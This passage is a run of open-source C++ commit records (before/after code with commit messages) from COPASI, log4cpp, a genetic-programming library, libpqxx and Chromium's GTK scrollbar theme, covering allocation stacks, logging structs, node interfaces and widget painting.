nRootsPerDiscontinuity()\n{}\n\nCMath::CAllocationStack::CAllocation::CAllocation(const CMath::CAllocationStack::CAllocation & src):\n nDiscontinuous(src.nDiscontinuous),\n nTotalRoots(src.nTotalRoots),\n nRootsPerDiscontinuity(src.nRootsPerDiscontinuity)\n{}\n\nCMath::CAllocationStack::CAllocation::~CAllocation()\n{}\n\nCMath::CAllocationStack::CAllocation::CAllocation &\nCMath::CAllocationStack::CAllocation::operator = (const CMath::CAllocationStack::CAllocation::CAllocation & rhs)\n{\n nDiscontinuous = rhs.nDiscontinuous;\n nTotalRoots = rhs.nTotalRoots;\n nRootsPerDiscontinuity = rhs.nRootsPerDiscontinuity;\n\n return *this;\n}\n\nCMath::CAllocationStack::CAllocation::CAllocation &\nCMath::CAllocationStack::CAllocation::operator += (const CMath::CAllocationStack::CAllocation::CAllocation & rhs)\n{\n nDiscontinuous += rhs.nDiscontinuous;\n nTotalRoots += rhs.nTotalRoots;\n nRootsPerDiscontinuity.insert(nRootsPerDiscontinuity.end(),\n rhs.nRootsPerDiscontinuity.begin(),\n rhs.nRootsPerDiscontinuity.end());\n\n return *this;\n}\n\nCMath::CAllocationStack::CAllocationStack():\n mpStack(NULL),\n mContext(Body),\n mVariableLevel(C_INVALID_INDEX),\n mBodyLevel(C_INVALID_INDEX)\n{}\n\nCMath::CAllocationStack::CAllocationStack(CMath::CAllocationStack::Buffer & stack):\n mpStack(&stack),\n mContext(Body),\n mVariableLevel(C_INVALID_INDEX),\n mBodyLevel(C_INVALID_INDEX)\n{}\n\nCMath::CAllocationStack::CAllocationStack(const CMath::CAllocationStack & src):\n mpStack(src.mpStack),\n mContext(src.mContext),\n mVariableLevel(src.mVariableLevel),\n mBodyLevel(src.mBodyLevel)\n{}\n\nCMath::CAllocationStack::~CAllocationStack()\n{}\n\nvoid CMath::CAllocationStack::push(const CMath::CAllocationStack::StackElement & stackElement)\n{\n mpStack->push_back(stackElement);\n mBodyLevel++;\n}\n\nvoid CMath::CAllocationStack::pop()\n{\n mpStack->pop_back();\n mBodyLevel--;\n}\n\nsize_t CMath::CAllocationStack::size() const\n{\n return mpStack->size();\n}\n\nconst CMath::CAllocationStack::CAllocation &\nCMath::CAllocationStack::operator [](const size_t & index) const\n{\n size_t Level = C_INVALID_INDEX;\n\n switch (mContext)\n {\n case Variable:\n Level = mVariableLevel;\n break;\n\n case Body:\n Level = mBodyLevel;\n\n break;\n }\n\n assert(Level < mpStack->size());\n assert(index < mpStack->at(Level).size());\n\n return mpStack->at(Level)[index];\n}\n\nstd::ostream & operator << (std::ostream & os, const CMath::CAllocationStack::CAllocation & s)\n{\n os << \"Discontinuities: \" << s.nDiscontinuous;\n return os;\n}\n\n<commit_msg>Fixed to compile under Visual Studio 2005 (VC 8.0)<commit_after>\/\/ Begin CVS Header\n\/\/ $Source: \/Volumes\/Home\/Users\/shoops\/cvs\/copasi_dev\/copasi\/math\/CMathEnum.cpp,v $\n\/\/ $Revision: 1.2 $\n\/\/ $Name: $\n\/\/ $Author: shoops $\n\/\/ $Date: 2011\/06\/07 19:59:41 $\n\/\/ End CVS Header\n\n\/\/ Copyright (C) 2011 by Pedro Mendes, Virginia Tech Intellectual\n\/\/ Properties, Inc., University of Heidelberg, and The University\n\/\/ of Manchester.\n\/\/ All rights reserved.\n\n#include \"copasi.h\"\n\n#include \"CMathEnum.h\"\n\nCMath::CVariableStack::CVariableStack():\n mpStack(NULL),\n mContext(Body),\n mVariableLevel(C_INVALID_INDEX),\n mBodyLevel(C_INVALID_INDEX)\n{}\n\nCMath::CVariableStack::CVariableStack(CMath::CVariableStack::Buffer & stack):\n mpStack(&stack),\n mContext(Body),\n mVariableLevel(C_INVALID_INDEX),\n mBodyLevel(C_INVALID_INDEX)\n{}\n\nCMath::CVariableStack::CVariableStack(const CMath::CVariableStack & src):\n mpStack(src.mpStack),\n mContext(src.mContext),\n mVariableLevel(src.mVariableLevel),\n mBodyLevel(src.mBodyLevel)\n{}\n\nCMath::CVariableStack::~CVariableStack()\n{}\n\nvoid CMath::CVariableStack::push(const CMath::CVariableStack::StackElement & stackElement)\n{\n mpStack->push_back(stackElement);\n mBodyLevel++;\n}\n\nvoid CMath::CVariableStack::pop()\n{\n mpStack->pop_back();\n mBodyLevel--;\n}\n\nsize_t CMath::CVariableStack::size() const\n{\n return mpStack->size();\n}\n\nconst CEvaluationNode * CMath::CVariableStack::operator [](const size_t & index) const\n{\n size_t Level = C_INVALID_INDEX;\n\n switch (mContext)\n {\n case Variable:\n Level = mVariableLevel;\n break;\n\n case Body:\n Level = mBodyLevel;\n\n break;\n }\n\n assert(Level < mpStack->size());\n assert(index < mpStack->at(Level).size());\n\n return mpStack->at(Level)[index];\n}\n\nstd::ostream & operator << (std::ostream & os, const CMath::CVariableStack & s)\n{\n switch (s.mContext)\n {\n case CMath::CVariableStack::Variable:\n os << \"Context: variable \";\n break;\n\n case CMath::CVariableStack::Body:\n os << \"Context: body \";\n break;\n }\n\n os << \"Variable Level: \" << s.mVariableLevel << \" Body Level: \" << s.mBodyLevel;\n\n return os;\n}\n\nCMath::CAllocationStack::CAllocation::CAllocation():\n nDiscontinuous(0),\n nTotalRoots(0),\n nRootsPerDiscontinuity()\n{}\n\nCMath::CAllocationStack::CAllocation::CAllocation(const CMath::CAllocationStack::CAllocation & src):\n nDiscontinuous(src.nDiscontinuous),\n nTotalRoots(src.nTotalRoots),\n nRootsPerDiscontinuity(src.nRootsPerDiscontinuity)\n{}\n\nCMath::CAllocationStack::CAllocation::~CAllocation()\n{}\n\nCMath::CAllocationStack::CAllocation &\nCMath::CAllocationStack::CAllocation::operator = (const CMath::CAllocationStack::CAllocation & rhs)\n{\n nDiscontinuous = rhs.nDiscontinuous;\n nTotalRoots = rhs.nTotalRoots;\n nRootsPerDiscontinuity = rhs.nRootsPerDiscontinuity;\n\n return *this;\n}\n\nCMath::CAllocationStack::CAllocation &\nCMath::CAllocationStack::CAllocation::operator += (const CMath::CAllocationStack::CAllocation & rhs)\n{\n nDiscontinuous += rhs.nDiscontinuous;\n nTotalRoots += rhs.nTotalRoots;\n nRootsPerDiscontinuity.insert(nRootsPerDiscontinuity.end(),\n rhs.nRootsPerDiscontinuity.begin(),\n rhs.nRootsPerDiscontinuity.end());\n\n return *this;\n}\n\nCMath::CAllocationStack::CAllocationStack():\n mpStack(NULL),\n mContext(Body),\n mVariableLevel(C_INVALID_INDEX),\n mBodyLevel(C_INVALID_INDEX)\n{}\n\nCMath::CAllocationStack::CAllocationStack(CMath::CAllocationStack::Buffer & stack):\n mpStack(&stack),\n mContext(Body),\n mVariableLevel(C_INVALID_INDEX),\n mBodyLevel(C_INVALID_INDEX)\n{}\n\nCMath::CAllocationStack::CAllocationStack(const CMath::CAllocationStack & src):\n mpStack(src.mpStack),\n mContext(src.mContext),\n mVariableLevel(src.mVariableLevel),\n mBodyLevel(src.mBodyLevel)\n{}\n\nCMath::CAllocationStack::~CAllocationStack()\n{}\n\nvoid CMath::CAllocationStack::push(const CMath::CAllocationStack::StackElement & stackElement)\n{\n mpStack->push_back(stackElement);\n mBodyLevel++;\n}\n\nvoid CMath::CAllocationStack::pop()\n{\n mpStack->pop_back();\n mBodyLevel--;\n}\n\nsize_t CMath::CAllocationStack::size() const\n{\n return mpStack->size();\n}\n\nconst CMath::CAllocationStack::CAllocation &\nCMath::CAllocationStack::operator [](const size_t & index) const\n{\n size_t Level = C_INVALID_INDEX;\n\n switch (mContext)\n {\n case Variable:\n Level = mVariableLevel;\n break;\n\n case Body:\n Level = mBodyLevel;\n\n break;\n }\n\n assert(Level < mpStack->size());\n assert(index < mpStack->at(Level).size());\n\n return mpStack->at(Level)[index];\n}\n\nstd::ostream & operator << (std::ostream & os, const CMath::CAllocationStack::CAllocation & s)\n{\n os << \"Discontinuities: \" << s.nDiscontinuous;\n return os;\n}\n\n<|endoftext|>"} {"text":"<commit_before>\/*\n * LoggingEvent.hh\n *\n * Copyright 2000, LifeLine Networks BV (www.lifeline.nl). All rights reserved.\n * Copyright 2000, Bastiaan Bakker. All rights reserved.\n *\n * See the COPYING file for the terms of usage and distribution.\n *\/\n\n#ifndef _LOG4CPP_LOGGINGEVENT_HH\n#define _LOG4CPP_LOGGINGEVENT_HH\n\n#include <string>\n#include <time.h>\n\n\/**\n * The top level namespace for all 'Log for C++' types and classes.\n **\/\nnamespace log4cpp {\n\n\/**\n * The internal representation of logging events. When a affirmative\n * logging decision is made a <code>LoggingEvent<\/code> instance is\n * created. This instance is passed around the different log4cpp\n * components.\n *\n * <p>This class is of concern to those wishing to extend log4cpp. \n **\/\n\n struct LoggingEvent {\n public:\n \/**\n * Instantiate a LoggingEvent from the supplied parameters.\n *\n * <p>Except <code>timeStamp<\/code> all the other fields of\n * <code>LoggingEvent<\/code> are filled when actually needed.\n * <p>\n * @param category The category of this event.\n * @param message The message of this event.\n * @param ndc The nested diagnostic context of this event. \n * @param priority The priority of this event.\n **\/\n LoggingEvent(const std::string& category, const std::string& message, \n const std::string& ndc, int priority);\n\n\n \/** The category name. *\/\n const std::string& categoryName;\n\n \/** The application supplied message of logging event. *\/\n const std::string& message;\n\n \/** The nested diagnostic context (NDC) of logging event. *\/\n const std::string& ndc;\n\n \/** Priority of logging event. *\/\n int priority;\n\n \/** The name of thread in which this logging event was generated,\n e.g. the PID. *\/\n const std::string& threadName;\n \/\/QQQ const std::string threadName;\n\n \/** The number of seconds elapsed since the epoch \n (1\/1\/1970 00:00:00 UTC) until logging event was created. *\/\n time_t timeStamp;\n };\n}\n\n#endif \/\/ _LOG4CPP_LOGGINGEVENT_HH\n\n<commit_msg>Made threadName a member to keep MSVC++ from crashing.<commit_after>\/*\n * LoggingEvent.hh\n *\n * Copyright 2000, LifeLine Networks BV (www.lifeline.nl). All rights reserved.\n * Copyright 2000, Bastiaan Bakker. All rights reserved.\n *\n * See the COPYING file for the terms of usage and distribution.\n *\/\n\n#ifndef _LOG4CPP_LOGGINGEVENT_HH\n#define _LOG4CPP_LOGGINGEVENT_HH\n\n#include <string>\n#include <time.h>\n\n\/**\n * The top level namespace for all 'Log for C++' types and classes.\n **\/\nnamespace log4cpp {\n\n\/**\n * The internal representation of logging events. When a affirmative\n * logging decision is made a <code>LoggingEvent<\/code> instance is\n * created. This instance is passed around the different log4cpp\n * components.\n *\n * <p>This class is of concern to those wishing to extend log4cpp. \n **\/\n\n struct LoggingEvent {\n public:\n \/**\n * Instantiate a LoggingEvent from the supplied parameters.\n *\n * <p>Except <code>timeStamp<\/code> all the other fields of\n * <code>LoggingEvent<\/code> are filled when actually needed.\n * <p>\n * @param category The category of this event.\n * @param message The message of this event.\n * @param ndc The nested diagnostic context of this event. \n * @param priority The priority of this event.\n **\/\n LoggingEvent(const std::string& category, const std::string& message, \n const std::string& ndc, int priority);\n\n\n \/** The category name. *\/\n const std::string& categoryName;\n\n \/** The application supplied message of logging event. *\/\n const std::string& message;\n\n \/** The nested diagnostic context (NDC) of logging event. *\/\n const std::string& ndc;\n\n \/** Priority of logging event. *\/\n int priority;\n\n \/** The name of thread in which this logging event was generated,\n e.g. the PID. Because MSVC++ crashes if it is declared as a \n reference at this point I made it a member for now. \n *\/\n const std::string threadName;\n\n \/** The number of seconds elapsed since the epoch \n (1\/1\/1970 00:00:00 UTC) until logging event was created. *\/\n time_t timeStamp;\n };\n}\n\n#endif \/\/ _LOG4CPP_LOGGINGEVENT_HH\n\n<|endoftext|>"} {"text":"<commit_before>#ifndef GP_NODE_INTERFACE\n#define GP_NODE_INTERFACE\n\n#include <typeinfo>\n#include <memory>\n#include <any>\n#include <utility\/evaluation_context.hpp>\n#include <utility\/type.hpp>\n\nnamespace gp::node{\n enum class NodeType {\n Normal,\n Argument,\n LocalVariable,\n Progn,\n Subroutine,\n Const\n };\n\n \/\/primary declarations for friend class declarations\n template <typename T>\n class NodeBase;\n template <typename T, std::size_t n>\n class PrognNode;\n\n class NodeInterface {\n public:\n using type_info = const utility::TypeInfo&;\n using node_instance_type = std::unique_ptr<NodeInterface>;\n template <typename NodeType, typename ...Ts>\n static node_instance_type createInstance(Ts&&... args) {return std::make_unique<NodeType>(std::forward<Ts>(args)...);}\n private:\n template <typename T> friend class NodeBase;\n template <typename T, std::size_t n> friend class PrognNode;\n virtual void setParent(NodeInterface* node) = 0;\n public:\n \/\/type information methods\n virtual type_info getReturnType()const noexcept= 0;\n virtual type_info getChildReturnType(std::size_t n)const noexcept = 0;\n \/\/methods for children\n virtual std::size_t getChildNum()const noexcept = 0;\n virtual bool hasChild(std::size_t n)const noexcept = 0;\n virtual NodeInterface& getChildNode(std::size_t n) = 0;\n virtual const NodeInterface& getChildNode(std::size_t n)const = 0;\n virtual void setChild(std::size_t n, std::unique_ptr<NodeInterface> node) = 0;\n \/\/methods for parent\n virtual bool hasParent()const noexcept = 0;\n virtual NodeInterface& getParent() = 0;\n virtual const NodeInterface& getParent()const = 0;\n \/\/method for evaluation\n virtual std::any evaluateByAny(utility::EvaluationContext&)const = 0;\n \/\/methods for properties\n virtual void setNodePropertyByNodeName(const std::string&) = 0;\n virtual void setNodePropertyByAny(const std::any&) = 0;\n virtual std::any getNodePropertyByAny()const = 0;\n virtual std::string getNodeName()const = 0;\n virtual node_instance_type clone()const = 0;\n virtual NodeType getNodeType()const noexcept = 0;\n public:\n virtual ~NodeInterface() = default;\n NodeInterface(NodeInterface&&) = default;\n NodeInterface& operator=(NodeInterface&&) = default;\n NodeInterface(const NodeInterface&) = default;\n NodeInterface& operator=(const NodeInterface&) = default;\n NodeInterface() = default;\n };\n}\n\n#endif<commit_msg>force users to derive TypedNodeInterface by setting the constructor of NodeInterface as private<commit_after>#ifndef GP_NODE_INTERFACE\n#define GP_NODE_INTERFACE\n\n#include <typeinfo>\n#include <memory>\n#include <any>\n#include <utility\/evaluation_context.hpp>\n#include <utility\/type.hpp>\n\nnamespace gp::node{\n enum class NodeType {\n Normal,\n Argument,\n LocalVariable,\n Progn,\n Subroutine,\n Const\n };\n\n \/\/primary declarations for friend class declarations\n template <typename T>\n class TypedNodeInterface;\n template <typename T>\n class NodeBase;\n template <typename T, std::size_t n>\n class PrognNode;\n\n class NodeInterface {\n public:\n using type_info = const utility::TypeInfo&;\n using node_instance_type = std::unique_ptr<NodeInterface>;\n template <typename NodeType, typename ...Ts>\n static node_instance_type createInstance(Ts&&... args) {return std::make_unique<NodeType>(std::forward<Ts>(args)...);}\n private:\n template <typename T> friend class TypedNodeInterface;\n template <typename T> friend class NodeBase;\n template <typename T, std::size_t n> friend class PrognNode;\n NodeInterface() = default; \/\/only the TypedNodeInterface can construct NodeInterface. Users who want to create custom node must derive NodeBase or TypedNodeInterface.\n virtual void setParent(NodeInterface* node) = 0;\n public:\n \/\/type information methods\n virtual type_info getReturnType()const noexcept= 0;\n virtual type_info getChildReturnType(std::size_t n)const noexcept = 0;\n \/\/methods for children\n virtual std::size_t getChildNum()const noexcept = 0;\n virtual bool hasChild(std::size_t n)const noexcept = 0;\n virtual NodeInterface& getChildNode(std::size_t n) = 0;\n virtual const NodeInterface& getChildNode(std::size_t n)const = 0;\n virtual void setChild(std::size_t n, std::unique_ptr<NodeInterface> node) = 0;\n \/\/methods for parent\n virtual bool hasParent()const noexcept = 0;\n virtual NodeInterface& getParent() = 0;\n virtual const NodeInterface& getParent()const = 0;\n \/\/method for evaluation\n virtual std::any evaluateByAny(utility::EvaluationContext&)const = 0;\n \/\/methods for properties\n virtual void setNodePropertyByNodeName(const std::string&) = 0;\n virtual void setNodePropertyByAny(const std::any&) = 0;\n virtual std::any getNodePropertyByAny()const = 0;\n virtual std::string getNodeName()const = 0;\n virtual node_instance_type clone()const = 0;\n virtual NodeType getNodeType()const noexcept = 0;\n public:\n virtual ~NodeInterface() = default;\n NodeInterface(NodeInterface&&) = default;\n NodeInterface& operator=(NodeInterface&&) = default;\n NodeInterface(const NodeInterface&) = default;\n NodeInterface& operator=(const NodeInterface&) = default;\n };\n}\n\n#endif<|endoftext|>"} {"text":"<commit_before>\/*-------------------------------------------------------------------------\n *\n * FILE\n *\tpqxx\/subtransaction.hxx\n *\n * DESCRIPTION\n * definition of the pqxx::subtransaction class.\n * pqxx::subtransaction is a nested transaction, i.e. one within a transaction\n * DO NOT INCLUDE THIS FILE DIRECTLY; include pqxx\/subtransaction instead.\n *\n * Copyright (c) 2005, Jeroen T. Vermeulen <jtv@xs4all.nl>\n *\n * See COPYING for copyright license. If you did not receive a file called\n * COPYING with this source code, please notify the distributor of this mistake,\n * or contact the author.\n *\n *-------------------------------------------------------------------------\n *\/\n#include \"pqxx\/compiler-public.hxx\"\n\n#include \"pqxx\/dbtransaction\"\n\n\n\n\/* Methods tested in eg. self-test program test1 are marked with \"\/\/[t1]\"\n *\/\n\n\nnamespace pqxx\n{\n\n\/**\n * @addtogroup transaction Transaction classes\n *\/\n\/\/@{\n\nclass PQXX_LIBEXPORT subtransaction :\n public internal::transactionfocus,\n public dbtransaction\n{\npublic:\n explicit subtransaction(dbtransaction &T,\n\tconst PGSTD::string &Name=PGSTD::string());\t\t\t\/\/[t88]\n\nprivate:\n virtual void do_begin();\t\t\t\t\t\t\/\/[t88]\n virtual void do_commit();\t\t\t\t\t\t\/\/[t88]\n virtual void do_abort();\t\t\t\t\t\t\/\/[t88]\n\n dbtransaction &m_parent;\n};\n\n\/\/@}\n\n}\n\n\n<commit_msg>Smarter detection of backend capability<commit_after>\/*-------------------------------------------------------------------------\n *\n * FILE\n *\tpqxx\/subtransaction.hxx\n *\n * DESCRIPTION\n * definition of the pqxx::subtransaction class.\n * pqxx::subtransaction is a nested transaction, i.e. one within a transaction\n * DO NOT INCLUDE THIS FILE DIRECTLY; include pqxx\/subtransaction instead.\n *\n * Copyright (c) 2005-2006, Jeroen T. Vermeulen <jtv@xs4all.nl>\n *\n * See COPYING for copyright license. If you did not receive a file called\n * COPYING with this source code, please notify the distributor of this mistake,\n * or contact the author.\n *\n *-------------------------------------------------------------------------\n *\/\n#include \"pqxx\/compiler-public.hxx\"\n\n#include \"pqxx\/dbtransaction\"\n\n\n\n\/* Methods tested in eg. self-test program test1 are marked with \"\/\/[t1]\"\n *\/\n\n\nnamespace pqxx\n{\n\n\/**\n * @addtogroup transaction Transaction classes\n *\/\n\/\/@{\n\nclass PQXX_LIBEXPORT subtransaction :\n public internal::transactionfocus,\n public dbtransaction\n{\npublic:\n explicit subtransaction(dbtransaction &T,\n\tconst PGSTD::string &Name=PGSTD::string());\t\t\t\/\/[t88]\n\nprivate:\n virtual void do_begin();\t\t\t\t\t\t\/\/[t88]\n virtual void do_commit();\t\t\t\t\t\t\/\/[t88]\n virtual void do_abort();\t\t\t\t\t\t\/\/[t88]\n\n void check_backendsupport() const;\n\n dbtransaction &m_parent;\n};\n\n\/\/@}\n\n}\n\n\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2008, Google Inc.\n\/\/ All rights reserved.\n\/\/\n\/\/ Redistribution and use in source and binary forms, with or without\n\/\/ modification, are permitted provided that the following conditions are\n\/\/ met:\n\/\/\n\/\/ * Redistributions of source code must retain the above copyright\n\/\/ notice, this list of conditions and the following disclaimer.\n\/\/ * Redistributions in binary form must reproduce the above\n\/\/ copyright notice, this list of conditions and the following disclaimer\n\/\/ in the documentation and\/or other materials provided with the\n\/\/ distribution.\n\/\/ * Neither the name of Google Inc. nor the names of its\n\/\/ contributors may be used to endorse or promote products derived from\n\/\/ this software without specific prior written permission.\n\/\/\n\/\/ THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n\/\/ \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n\/\/ LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n\/\/ A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n\/\/ OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n\/\/ SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n\/\/ LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n\/\/ DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n\/\/ THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n\/\/ (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n\/\/ OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\n#include \"config.h\"\n#include \"ScrollbarThemeChromium.h\"\n\n#include \"AffineTransform.h\"\n#include \"NotImplemented.h\"\n#include \"PlatformContextSkia.h\"\n#include \"PlatformMouseEvent.h\"\n#include \"Scrollbar.h\"\n\n#include \"gtkdrawing.h\"\n#include \"GdkSkia.h\"\n#include <gtk\/gtk.h>\n\n\nnamespace WebCore {\n\nint ScrollbarThemeChromium::scrollbarThickness(ScrollbarControlSize controlSize)\n{\n static int size = 0;\n if (!size) {\n MozGtkScrollbarMetrics metrics;\n moz_gtk_get_scrollbar_metrics(&metrics);\n size = metrics.slider_width;\n }\n return size;\n}\n\nbool ScrollbarThemeChromium::invalidateOnMouseEnterExit()\n{\n notImplemented();\n return false;\n}\n\n\/\/ -----------------------------------------------------------------------------\n\/\/ Given an uninitialised widget state object, set the members such that it's\n\/\/ sane for drawing scrollbars\n\/\/ -----------------------------------------------------------------------------\nstatic void initMozState(GtkWidgetState* mozState)\n{\n mozState->active = true;\n mozState->focused = false;\n mozState->inHover = false;\n mozState->disabled = false;\n mozState->isDefault = false;\n mozState->canDefault = false;\n mozState->depressed = false;\n mozState->curpos = 0;\n mozState->maxpos = 0;\n}\n\n\/\/ -----------------------------------------------------------------------------\n\/\/ Paint a GTK widget\n\/\/ gc: context to draw onto\n\/\/ rect: the area of the widget\n\/\/ widget_type: the type of widget to draw\n\/\/ flags: widget dependent flags (e.g. direction of scrollbar arrows etc)\n\/\/\n\/\/ See paintMozWiget in RenderThemeGtk.cpp for an explanation of the clipping.\n\/\/ -----------------------------------------------------------------------------\nstatic void paintScrollbarWidget(GraphicsContext* gc, const IntRect& rect,\n GtkThemeWidgetType widget_type, gint flags)\n{\n PlatformContextSkia* pcs = gc->platformContext();\n\n GdkRectangle gdkRect = { rect.x(), rect.y(), rect.width(), rect.height() };\n\n const SkIRect clip_region = pcs->canvas()->getTotalClip().getBounds();\n AffineTransform ctm = gc->getCTM().inverse();\n IntPoint pos = ctm.mapPoint(\n IntPoint(SkScalarRound(clip_region.fLeft), SkScalarRound(clip_region.fTop)));\n GdkRectangle gdkClipRect;\n gdkClipRect.x = pos.x();\n gdkClipRect.y = pos.y();\n gdkClipRect.width = clip_region.width();\n gdkClipRect.height = clip_region.height();\n\n gdk_rectangle_intersect(&gdkRect, &gdkClipRect, &gdkClipRect);\n\n GtkWidgetState mozState;\n initMozState(&mozState);\n\n moz_gtk_widget_paint(widget_type, pcs->gdk_skia(), &gdkRect, &gdkClipRect,\n &mozState, flags, GTK_TEXT_DIR_LTR);\n}\n\nvoid ScrollbarThemeChromium::paintTrackPiece(GraphicsContext* gc, Scrollbar* scrollbar,\n const IntRect& rect, ScrollbarPart partType)\n{\n const bool horz = scrollbar->orientation() == HorizontalScrollbar;\n const GtkThemeWidgetType track_type =\n horz ? MOZ_GTK_SCROLLBAR_TRACK_HORIZONTAL : MOZ_GTK_SCROLLBAR_TRACK_VERTICAL;\n paintScrollbarWidget(gc, rect, track_type, 0);\n\n return;\n}\n\nvoid ScrollbarThemeChromium::paintButton(GraphicsContext* gc, Scrollbar* scrollbar,\n const IntRect& rect, ScrollbarPart part)\n{\n const bool horz = scrollbar->orientation() == HorizontalScrollbar;\n gint flags = horz ? 0 : MOZ_GTK_STEPPER_VERTICAL;\n flags |= ForwardButtonEndPart == part ? MOZ_GTK_STEPPER_DOWN : 0;\n paintScrollbarWidget(gc, rect, MOZ_GTK_SCROLLBAR_BUTTON, flags);\n}\n\nvoid ScrollbarThemeChromium::paintThumb(GraphicsContext* gc, Scrollbar* scrollbar, const IntRect& rect)\n{\n const bool horz = scrollbar->orientation() == HorizontalScrollbar;\n const GtkThemeWidgetType thumb_type =\n horz ? MOZ_GTK_SCROLLBAR_THUMB_HORIZONTAL : MOZ_GTK_SCROLLBAR_THUMB_VERTICAL;\n paintScrollbarWidget(gc, rect, thumb_type, 0);\n}\n\n} \/\/ namespace WebCore\n<commit_msg>It appears that the GTK theme doesn't always draw the full rectangle when we ask it to draw a scrollbar button. It's not clear if it expects the background to already be filled in, or if we are brearking it by giving it WebKit metrics. Either way, it's messing up our pixeltest baselines with undefined pixels so we paint seafoam-green under scrollbar buttons before GTK draws.<commit_after>\/\/ Copyright (c) 2008, Google Inc.\n\/\/ All rights reserved.\n\/\/\n\/\/ Redistribution and use in source and binary forms, with or without\n\/\/ modification, are permitted provided that the following conditions are\n\/\/ met:\n\/\/\n\/\/ * Redistributions of source code must retain the above copyright\n\/\/ notice, this list of conditions and the following disclaimer.\n\/\/ * Redistributions in binary form must reproduce the above\n\/\/ copyright notice, this list of conditions and the following disclaimer\n\/\/ in the documentation and\/or other materials provided with the\n\/\/ distribution.\n\/\/ * Neither the name of Google Inc. nor the names of its\n\/\/ contributors may be used to endorse or promote products derived from\n\/\/ this software without specific prior written permission.\n\/\/\n\/\/ THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n\/\/ \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n\/\/ LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n\/\/ A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n\/\/ OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n\/\/ SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n\/\/ LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n\/\/ DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n\/\/ THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n\/\/ (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n\/\/ OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\n#include \"config.h\"\n#include \"ScrollbarThemeChromium.h\"\n\n#include \"AffineTransform.h\"\n#include \"NotImplemented.h\"\n#include \"PlatformContextSkia.h\"\n#include \"PlatformMouseEvent.h\"\n#include \"Scrollbar.h\"\n\n#include \"gtkdrawing.h\"\n#include \"GdkSkia.h\"\n#include <gtk\/gtk.h>\n\n\nnamespace WebCore {\n\nint ScrollbarThemeChromium::scrollbarThickness(ScrollbarControlSize controlSize)\n{\n static int size = 0;\n if (!size) {\n MozGtkScrollbarMetrics metrics;\n moz_gtk_get_scrollbar_metrics(&metrics);\n size = metrics.slider_width;\n }\n return size;\n}\n\nbool ScrollbarThemeChromium::invalidateOnMouseEnterExit()\n{\n notImplemented();\n return false;\n}\n\n\/\/ -----------------------------------------------------------------------------\n\/\/ Given an uninitialised widget state object, set the members such that it's\n\/\/ sane for drawing scrollbars\n\/\/ -----------------------------------------------------------------------------\nstatic void initMozState(GtkWidgetState* mozState)\n{\n mozState->active = true;\n mozState->focused = false;\n mozState->inHover = false;\n mozState->disabled = false;\n mozState->isDefault = false;\n mozState->canDefault = false;\n mozState->depressed = false;\n mozState->curpos = 0;\n mozState->maxpos = 0;\n}\n\n\/\/ -----------------------------------------------------------------------------\n\/\/ Paint a GTK widget\n\/\/ gc: context to draw onto\n\/\/ rect: the area of the widget\n\/\/ widget_type: the type of widget to draw\n\/\/ flags: widget dependent flags (e.g. direction of scrollbar arrows etc)\n\/\/\n\/\/ See paintMozWiget in RenderThemeGtk.cpp for an explanation of the clipping.\n\/\/ -----------------------------------------------------------------------------\nstatic void paintScrollbarWidget(GraphicsContext* gc, const IntRect& rect,\n GtkThemeWidgetType widget_type, gint flags)\n{\n PlatformContextSkia* pcs = gc->platformContext();\n\n GdkRectangle gdkRect = { rect.x(), rect.y(), rect.width(), rect.height() };\n\n const SkIRect clip_region = pcs->canvas()->getTotalClip().getBounds();\n AffineTransform ctm = gc->getCTM().inverse();\n IntPoint pos = ctm.mapPoint(\n IntPoint(SkScalarRound(clip_region.fLeft), SkScalarRound(clip_region.fTop)));\n GdkRectangle gdkClipRect;\n gdkClipRect.x = pos.x();\n gdkClipRect.y = pos.y();\n gdkClipRect.width = clip_region.width();\n gdkClipRect.height = clip_region.height();\n\n gdk_rectangle_intersect(&gdkRect, &gdkClipRect, &gdkClipRect);\n\n GtkWidgetState mozState;\n initMozState(&mozState);\n\n moz_gtk_widget_paint(widget_type, pcs->gdk_skia(), &gdkRect, &gdkClipRect,\n &mozState, flags, GTK_TEXT_DIR_LTR);\n}\n\nvoid ScrollbarThemeChromium::paintTrackPiece(GraphicsContext* gc, Scrollbar* scrollbar,\n const IntRect& rect, ScrollbarPart partType)\n{\n const bool horz = scrollbar->orientation() == HorizontalScrollbar;\n const GtkThemeWidgetType track_type =\n horz ? MOZ_GTK_SCROLLBAR_TRACK_HORIZONTAL : MOZ_GTK_SCROLLBAR_TRACK_VERTICAL;\n paintScrollbarWidget(gc, rect, track_type, 0);\n\n return;\n}\n\nvoid 